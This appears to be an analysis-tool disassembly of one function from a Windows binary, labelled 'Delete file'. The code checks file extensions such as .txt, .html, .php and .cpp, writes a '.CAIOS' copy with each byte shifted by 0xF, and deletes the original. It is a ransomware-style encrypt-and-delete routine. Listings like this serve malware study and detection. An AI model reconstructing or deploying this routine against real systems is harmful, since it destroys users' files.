Function at 0x180108803
Capabilities:
Delete file

Disassembly:
jmp 0x180142370
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x578
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x15e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x598]
mov qword [rbp + 0x528], 0xfffffffffffffffe
mov rax, qword [0x1803bb0a8]
xor rax, rbp
mov qword [rbp + 0x538], rax
lea rcx, [0x1803e7045]
call fcn.18010520c
mov dword [rbp + 4], 0
xor r8d, r8d
lea rdx, str..CAIOS
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x18014240d
mov dword [rbp + 0x484], 0xfffffffe
mov rcx, qword [rbp + 0x560]
call fcn.180107ce1
mov eax, dword [rbp + 0x484]
jmp 0x180142933
xor r8d, r8d
lea rdx, str..txt
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142437
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x1803346e4]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142461
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..ini
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x18014248b
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..java
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801424b5
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..html
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801424df
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..htm
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142509
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..csv
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142533
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..tsv
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x18014255d
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..css
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142587
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..xsl
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801425b1
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x18033472c]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801425db
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..vbs
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142605
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x180334738]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x18014262f
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x18033473c]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142659
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..php
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142683
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x180334748]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801426ad
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..cpp
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x1801426d7
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, [0x180334754]
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142701
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..obj
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x18014272b
mov dword [rbp + 4], 1
xor r8d, r8d
lea rdx, str..log
mov rcx, qword [rbp + 0x560]
call fcn.18010c5de
mov dword [rbp + 0x24], eax
movsxd rax, dword [rbp + 0x24]
cmp rax, 0xffffffffffffffff
je 0x180142755
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 0
jne 0x18014277c
mov dword [rbp + 0x4a4], 0
mov rcx, qword [rbp + 0x560]
call fcn.180107ce1
mov eax, dword [rbp + 0x4a4]
jmp 0x180142933
mov edx, 0x110
lea rcx, [rbp + 0x50]
call fcn.18010a009
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x50]
call fcn.180107da4
nop
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x198]
call fcn.18010b814
nop
mov rax, qword [rbp + 0x50]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x50]
mov rcx, rax
call fcn.18010ada1
movzx eax, al
test eax, eax
je 0x180142817
mov dword [rbp + 0x4c4], 0xffffffff
lea rcx, [rbp + 0x198]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x50]
call fcn.1801048e3
nop
mov rcx, qword [rbp + 0x560]
call fcn.180107ce1
mov eax, dword [rbp + 0x4c4]
jmp 0x180142933
lea rdx, str..CAIOS
mov rcx, qword [rbp + 0x560]
call fcn.18010a57c
mov edx, 0x108
lea rcx, [rbp + 0x1e0]
call fcn.18010b37d
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x1e0]
call fcn.18010bdf5
nop
lea rdx, [rbp + 0x174]
lea rcx, [rbp + 0x50]
call fcn.180108709
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4e8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rbp + 0x4e8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.180109244
movzx eax, al
test eax, eax
je 0x1801428c9
movsx eax, byte [rbp + 0x174]
add eax, 0xf
mov byte [rbp + 0x174], al
movzx edx, byte [rbp + 0x174]
lea rcx, [rbp + 0x1e0]
call fcn.1801081dc
jmp 0x180142863
lea rcx, [rbp + 0x50]
call fcn.18010a4b9
lea rcx, [rbp + 0x1e0]
call fcn.18010c813
lea rcx, [rbp + 0x198]
call fcn.18010b01c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rbp + 0x504], 0
lea rcx, [rbp + 0x1e0]
call fcn.180107f70
nop
lea rcx, [rbp + 0x198]
call fcn.180107ce1
nop
lea rcx, [rbp + 0x50]
call fcn.1801048e3
nop
mov rcx, qword [rbp + 0x560]
call fcn.180107ce1
mov eax, dword [rbp + 0x504]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x180330c70]
call fcn.18010bfdf
mov rax, rdi
mov rcx, qword [rbp + 0x538]
xor rcx, rbp
call fcn.180105df6
lea rsp, [rbp + 0x548]
pop rdi
pop rbp
ret